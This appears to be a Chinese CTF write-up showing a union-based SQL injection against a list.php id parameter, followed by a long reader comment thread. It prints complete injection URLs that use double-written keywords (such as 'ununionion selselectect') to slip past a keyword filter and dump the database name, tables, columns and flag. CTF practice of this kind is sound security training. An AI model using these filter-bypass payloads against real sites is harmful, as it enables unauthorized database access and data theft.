AI智能摘要
你是否以为被过滤了 `union` 和 `select` 就能彻底防住SQL注入?本文带你深入一道CTF实战题,揭秘如何绕过关键词过滤,巧妙利用大小写混淆与双写绕过技术,一步步实现SQL注入攻击。从判断注入点、探测字段数,到爆库、爆表、爆字段,完整还原攻击链路,手把手教你拿下flag。网络安全攻防背后,远比你想象的更惊险。
— AI 生成的文章内容摘要
根据题目提示,这道题是个SQL注入题,于是我们直接试探SQL注入,看到页面有个list点开看看

看着链接的样子就是有SQL注入的样子,哈哈哈,接下来让试试它过滤了啥,怎么闭合吧。通过测试发现,过滤了and 、or、select、union,最后试出来列数量是3,如下图:

接下来,爆数据库
http://123.206.31.85:10018/list.php?id=-2' ununionion selselectect 1,database(),3--+
数据库名为web18

继续,爆表名
http://123.206.31.85:10018/list.php?id=-2' ununionion selselectect 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='web18'--+

爆字段名:
http://123.206.31.85:10018/list.php?id=-2' ununionion selselectect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='web18'--+

爆字段:
http://123.206.31.85:10018/list.php?id=-1' anandd 1=1 uniunionon seleselectct 1,flag,3 from flag--+


福建省莆田市 1F
这题过滤得有点狠啊,ununionion都出来了😂
中国 2F
flag.php那个链接是不是直接能拿flag?
湖北省武汉市江汉区 3F
之前做过类似的,双写绕过真折磨人
山东省泰安市 B1
@ 陨星 双写确实坑,记得多试几种写法,刚好上次卡了半小时
湖北省武汉市 4F
为啥不用order by爆列数?
陕西省西安市 5F
看着步骤挺顺,但实际跑的时候总403咋回事?
江苏省无锡市 6F
hhh 这不就是经典information_schema套路嘛
北京市 7F
新手问下:–+是注释后面的意思吗?
韩国 8F
太硬核了,我连list.php都没找到在哪注入
日本 B1
@ 矩阵视觉 list.php在URL里不就明摆着嘛,你不会在源码里翻吧?
北京市 9F
爆表名那段group_concat会不会被截断啊?
上海市 10F
那个Python官网图是干扰项吧,跟SQL注入有啥关系🤔
江苏省苏州市 B1
@ Mercurial Bloom 那个Python图八成是放错图,要真有关也太隐晦了
韩国 11F
感觉步骤讲得太简略了,双写绕过的细节能多说点不?
日本 B1
@ 夜枭之眼 双写绕过就是ununionion这种,把关键字拆开再拼回去
天津市 12F
–+就是注释符,跟#差不多
中国 13F
这题环境还在吗?想自己实操一遍
贵州省安顺市 B1
@ 青柠苏打 我刚刚还跑通了,建议换IP或等会儿再试,环境偶尔会掉
上海市 14F
Python图明显是放错了吧,完全无关😂
山东省济南市 15F
information_schema套路用烂了都
马来西亚 16F
flag.php直接访问肯定不行啊,得注入
日本 17F
为啥不用order by+1慢慢试?
上海市青浦区 18F
ununionion这写法看得眼睛疼
重庆市永川区 19F
list.php注入点找起来确实费劲
印度尼西亚 20F
403是不是靶机关了?
安徽省马鞍山市 B1
@ 丑角笑谈 之前做实验也这样,WAF突然抽风,以为自己写错,结果是被封IP了
四川省绵阳市 B1
@ 丑角笑谈 这题我也403了,估计服务挂了
北京市 21F
这题过滤也太狠了吧,连and都干掉,离谱
安徽省滁州市 22F
Python官网图放这真的不是迷惑?完全看不懂关联在哪
福建省漳州市 23F
爆表名用group_concat,长度限制不会出问题吗?
上海市 B1
@ 我是个笑话 group_concat长度限制确实烦,有时只能分批次查
印度 24F
flag.php直接访问403,果然是得靠注入才行😂
重庆市 25F
list.php的id参数真难找,我一开始全在body里找注入点
河南省平顶山市 26F
双写绕过写得跟密码本似的,ununionion是个人都懵
日本 B1
@ 极速浪客 ununionion这写法确实脑洞大,但绕过滤贼有效。
北京市 27F
我之前搞靶机也遇到这情况,折腾半天才发现是WAF拦截
浙江省 28F
这手法老套路了,但每次都能卡新人十分钟
吉林省长春市 B1
@ 春日絮语 刚入坑的表示,这种套路题真能卡住新手半天。
河北省衡水市阜城县 29F
爆字段那步能不能换个方式?总怕concat截断
陕西省延安市 B1
@ 宇宙漂流瓶 这绕过滤的方法绝了,之前比赛用过类似的
印度 B1
@ 宇宙漂流瓶 group_concat截断确实坑,试过用limit分段查,能绕但慢
陕西省汉中市 B1
@ 宇宙漂流瓶 Python官网图放这真的不是搞笑?跟注入八竿子打不着
澳大利亚 30F
环境好像真关了,curl都连不上,蹲个恢复通知
山东省滨州市 B1
@ 自闭开关 我这边也连不进去,估计是防火墙又拦了,等官方恢复吧
北京市 B1
@ 自闭开关 curl都连不上,估计服务端直接撤了😂
河北省石家庄市 B1
@ 自闭开关 flag.php都403了还放链接,不就是让咱们注入么
湖北省武汉市 31F
666,这绕过方式太野了,实际比赛遇到直接心态崩
湖北省天门市 32F
这题要真能直接拿flag谁还折腾注入啊,别想太美
浙江省杭州市 33F
双写union我都试过,关键得看后端怎么解析,玄学
上海市 34F
information_schema用多了,一眼就猜到是查表结构
湖南省长沙市 35F
新手问下–+和#在SQL里效果真的一样?
澳大利亚 B1
@ 青衫隐 –+和#都是注释符,但有些数据库对#解析不一样
巴基斯坦 B1
@ 青衫隐 –+和#都行,但–+在URL里更稳,不容易被转义
北京市 36F
403大概率是IP被封或者服务停了,不是你操作问题
山东省济南市山东大学 37F
说实在的,这种题就是拼熟练度,套路熟了秒解
韩国 38F
之前做实验环境也这样,注着注着就403,气死
澳大利亚 39F
绕过滤的方法有点意思
湖南省郴州市 B1
@ VeilOfSolitude 双写绕过挺经典的
菲律宾 40F
Python图放这完全看不懂,跟注入有啥关系啊
山东省烟台市 41F
注入点真难找,我在url里翻半天才看到id参数
菲律宾 42F
双写绕过看着就头大,每次都要试半天
上海市青浦区 43F
flag.php直接访问不行?那还放链接干嘛
湖北省武汉市 44F
这靶机是不是关了,一直连不上
江苏省淮安市 B1
@ 皮城女警 连不上+1,应该是靶机挂了。
北京市 45F
information_schema用烂了,出题人能不能换个花样
日本 46F
实际测试发现过滤规则比写的还严格,union都难用
湖北省武汉市 47F
这题环境又炸了?403搞得人一脸懵
湖北省武汉市汉阳区 48F
双写绕过纯看后端解析,我上次测的时候连sleep都过滤了,离谱
浙江省温州市 49F
新手+1,–+和#到底有啥区别啊?文档说一样但总怕翻车
浙江省 50F
information_schema查表查到吐,能不能来点新花样啊
江苏省无锡市 51F
注入点藏得深就算了,环境还随时挂,练个题跟闯关似的
辽宁省沈阳市 52F
双写绕过有点意思,就是看着费眼。
上海市 53F
这环境也太不稳定了吧,动不动就403。
上海市闵行区 54F
–+和#到底哪个注释符更稳啊?
广东省广州市 55F
双写绕过纯看后端,上次我测的连括号都过滤了。
新疆昌吉州昌吉市 56F
能不能把绕过过滤的具体规则讲讲?
上海市 57F
这种题练手还行,但信息太老了。
北京市 58F
Python图放这儿完全看不懂,跟注入有啥关系。
日本 59F
ununionion看得我眼花缭乱,这什么魔鬼写法😂
福建省厦门市 60F
之前做实验也碰到这种过滤,差点把键盘砸了
吉林大学前卫北区 61F
flag.php直接访问肯定没戏,不然还注入干嘛
辽宁省抚顺市 62F
information_schema这老套路用了八百遍了
广东省广州市 63F
新手完全看不懂,有更简单的教程吗
澳大利亚 64F
过滤and or这招有点狠啊
澳大利亚 B1
@ RuneShade 这招防新手还挺管用
辽宁省 65F
group_concat会不会被截断啊,之前就被坑过
山东省青岛市 66F
这环境也太不稳定了,练个题真费劲